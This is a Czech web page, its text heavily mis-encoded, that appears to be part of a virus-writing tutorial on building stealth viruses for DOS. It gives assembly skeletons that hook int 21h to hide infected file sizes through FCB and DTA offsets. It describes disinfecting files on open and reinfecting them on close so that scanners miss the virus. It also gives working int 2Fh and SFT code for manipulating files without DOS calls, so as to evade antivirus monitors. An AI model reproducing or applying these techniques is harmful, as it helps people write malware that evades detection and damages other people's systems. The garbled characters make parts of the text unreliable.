![]() |
![]() |
|
Konstrukce stealth vir∙
Stealth viry se aktivnφm zp∙sobem brßnφ prozrazenφ svΘ p°φtomnosti na poΦφtaΦi. Pro ·Φinnost
stealth mechanism∙ musφ virus zajistit, aby jeho t∞lo bylo umφst∞no do pam∞ti rezidentn∞.
Podstatou stealth technik je monitorovßnφ slu₧eb jßdra DOSu pro prßci se soubory, zejmΘna
pak slu₧eb otev°enφ, uzav°enφ a spuÜt∞nφ souboru. ╚ßsteΦn² stealth mechanismus╚ßsteΦn² stealth mechanismus maskuje zavirovanou dΘlku souboru. Virus obsahuje p°eruÜenφ jßdra DOSu (int 21h) a monitoruje funkce otev°enφ nebo vyhledßnφ souboru, kdy operaΦnφmu systΘmu vracφ dΘlky, tak jako kdyby soubor infikovßn nebyl. virus_int21h: cmp ah, 0fh ; sluzba "Otevri soubor pres FCB" ? je stealth_open_FCB cmp ah, 11h ; sluzba "Najdi prvni soubor pres FCB" ? je stealth_FCB cmp ah, 12h ; sluzba "Najdi dalsi soubor pres FCB" ? je stealth_FCB cmp ah, 4eh ; sluzba "Najdi prvni soubor" ? je stealth_dir cmp ah, 4fh ; sluzba "Najdi dalsi soubor" ? je stealth_dir ... dalsi testy ... stealth_open_FCB: ... volej originalni obsluhu int 21h ... je-li soubor infikovan, pak FCB sniz hodnotu jeho velikosti o virus ... ... dalsi virove manipulace ... stealth_FCB: ... volej originalni obsluhu int 21h ... zjisti adresu DTA, ve ktere je FCB ulozeno ... ... je-li soubor infikovan, pak v DTA sniz hodnotu jeho velikosti o virus ... ... dalsi virove manipulace ... stealth_dir: ... volej originalni obsluhu int 21h ... zjisti adresu DTA, ve ktere jsou informace o souboru ulozeny ... ... je-li soubor infikovan, pak v DTA sniz hodnotu jeho velikosti o virus ... ... dalsi virove manipulace ... V p°φpad∞ nßv∞Ütφ stealth_open_FCB a stealth_FCB se velikost souboru nachßzφ na adrese FCB[1dh] resp. DTA[1dh], v p°φpad∞ nßv∞Ütφ stealth_dir pak na adrese DTA[1ah]. V₧dy se jednß o dvojslovo (DWORD). P°i volßnφ funkce 0fh je p°φmo znßma adresa FCB, a proto ji nenφ pot°eba zjiÜ¥ovat prost°ednictvφm DTA. Stealth FCB dΘlky na ·rovni instrukcφ je uveden v rßmci konstrukce souborovΘho SYS viru. ┌pln² stealth mechanismusPrincipem ·plnΘho stealth mechanismu je rozÜφ°enφ jeho ΦßsteΦnΘ podoby o manipulaci ·plnΘho odvirovßnφ ₧ßdanΘho souboru p°ed jeho p°edßnφm operaΦnφmu systΘmu a jeho op∞tovnΘho zavirovßnφ v dob∞, kdy p°φsluÜn² soubor ji₧ nenφ ₧ßdßn resp. je vyvolßn po₧adavek na jeho uzav°enφ. virus_int21h: cmp ah, 3dh ; sluzba "Otevri soubor" ? je stealth cmp ah, 4bh ; sluzba "Spust souboru - EXEC" ? je stealth cmp ah, 6ch ; sluzba "Rozsireneho otevreni souboru" ? je stealth cmp ah, 3eh ; sluzba "Uzavri soubor" ? je infect ... dalsi testy ... stealth: ... je-li oteviran nebo spusten spustitelny soubor, pak jej odviruj ... ... a predej odvirovany soubor pozadovane sluzbe ... ... dalsi virove manipulace
D∙sledkem ·plnΘho stealth mechanismu je skuteΦnost, ₧e antivirovΘ kontroly nezachytφ p°φtomnost viru,
nebo¥ v dob∞ testovßnφ je virus ze souboru ji₧ odstran∞n. mov bx, file_handle ; rukojet souboru mov ax, 1220h ; sluzba "zjisti cislo SFT" int 2fh mov bl, es:di ; cislo SFT (-1 pro neotevreny soubor ) mov ax, 1216h ; sluzba "zjisti adresu SFT" int 2fh ; adresa ES:DI ukazuje na SFT
Tato posloupnost p°φkaz∙ nynφ umo₧≥uje p°φmou manipulaci s atributy souboru, m≤dem otev°enφ,
nastavenφ ukazatele posunu v souboru Φi manipulaci s datem a Φasem, bez volßnφ slu₧eb jßdra
DOSu (int 21h), a tφm i bez hrozby zachycenφ operacφ antivirov²m hlφdaΦem. mov es:[di+15h], 0 ; od offsetu 15h je v tabulce SFT ulozeno mov es:[di+17h], 0 ; dvojslovo aktualniho posunu v souboru Podobn∞ pro p°enastavenφ m≤du otev°enφ na zßpis: mov es:[di+02h], 2 ; read/write m≤d |
||
![]() |
![]() |